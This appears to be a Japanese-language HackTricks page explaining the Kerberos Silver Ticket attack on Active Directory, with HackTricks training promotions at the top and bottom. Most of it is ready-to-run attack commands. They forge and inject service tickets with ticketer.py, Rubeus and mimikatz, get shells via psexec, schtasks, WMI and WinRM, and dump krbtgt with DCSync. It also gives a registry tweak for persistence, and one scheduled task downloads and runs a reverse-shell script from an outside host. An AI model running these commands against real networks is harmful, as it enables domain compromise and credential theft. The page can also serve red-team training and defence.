Silver Ticket
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Silver ticket
Silver Ticket攻撃は、Active Directory (AD) 環境におけるサービスチケットの悪用を含みます。この手法は、サービスアカウントのNTLMハッシュを取得することに依存しており、コンピュータアカウントなどのチケットを偽造するために使用されます。この偽造されたチケットを使用することで、攻撃者はネットワーク上の特定のサービスにアクセスでき、任意のユーザーを偽装し、通常は管理者権限を狙います。チケットを偽造する際にAESキーを使用することが、より安全で検出されにくいことが強調されています。
warning
Silver Ticketsは、サービスアカウントのハッシュのみを必要とし、krbtgtアカウントを必要としないため、Golden Ticketsよりも検出されにくいです。しかし、特定のサービスに限定されます。さらに、ユーザーのパスワードを盗むだけではありません。
さらに、SPNを持つアカウントのパスワードを侵害した場合、そのパスワードを使用して任意のユーザーをそのサービスに偽装するSilver Ticketを作成できます。
チケット作成には、オペレーティングシステムに基づいて異なるツールが使用されます。
On Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
Windowsについて
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
CIFSサービスは、被害者のファイルシステムにアクセスするための一般的なターゲットとして強調されていますが、HOSTやRPCSSなどの他のサービスもタスクやWMIクエリのために悪用される可能性があります。
利用可能なサービス
サービスタイプ | サービスシルバーチケット |
---|---|
WMI | HOST RPCSS |
PowerShellリモーティング | HOST HTTP OSによっては: WSMAN RPCSS |
WinRM | HOST HTTP 場合によっては、単にWINRMを要求できます |
スケジュールタスク | HOST |
Windowsファイル共有、またpsexec | CIFS |
LDAP操作、DCSyncを含む | LDAP |
Windowsリモートサーバー管理ツール | RPCSS LDAP CIFS |
ゴールデンチケット | krbtgt |
Rubeusを使用すると、次のパラメータを使用してすべてのチケットを要求できます:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
シルバーチケットのイベントID
- 4624: アカウントログオン
- 4634: アカウントログオフ
- 4672: 管理者ログオン
永続性
マシンが30日ごとにパスワードを回転させないようにするには、HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1
を設定するか、HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge
を30日より大きな値に設定して、マシンのパスワードが回転すべき期間を示します。
サービスタケットの悪用
次の例では、チケットが管理者アカウントを偽装して取得されたと想定します。
CIFS
このチケットを使用すると、SMBを介してC$
およびADMIN$
フォルダーにアクセスし、リモートファイルシステムの一部にファイルをコピーすることができます。これは次のように行います:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
あなたはまた、psexecを使用してホスト内でシェルを取得したり、任意のコマンドを実行したりすることができます:
HOST
この権限を使用すると、リモートコンピュータでスケジュールされたタスクを生成し、任意のコマンドを実行することができます:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
これらのチケットを使用すると、被害者システムでWMIを実行できます:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
以下のページでwmiexecに関する詳細情報を見つけてください:
HOST + WSMAN (WINRM)
winrmアクセスを介してコンピュータにアクセスし、PowerShellを取得することもできます:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
次のページを確認して、winrmを使用してリモートホストに接続する他の方法を学んでください:
warning
winrmがリモートコンピュータでアクティブでリスニングしている必要があることに注意してください。
LDAP
この特権を使用すると、DCSyncを使用してDCデータベースをダンプできます:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
DCSyncについて詳しく学ぶには、以下のページをご覧ください:
参考文献
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。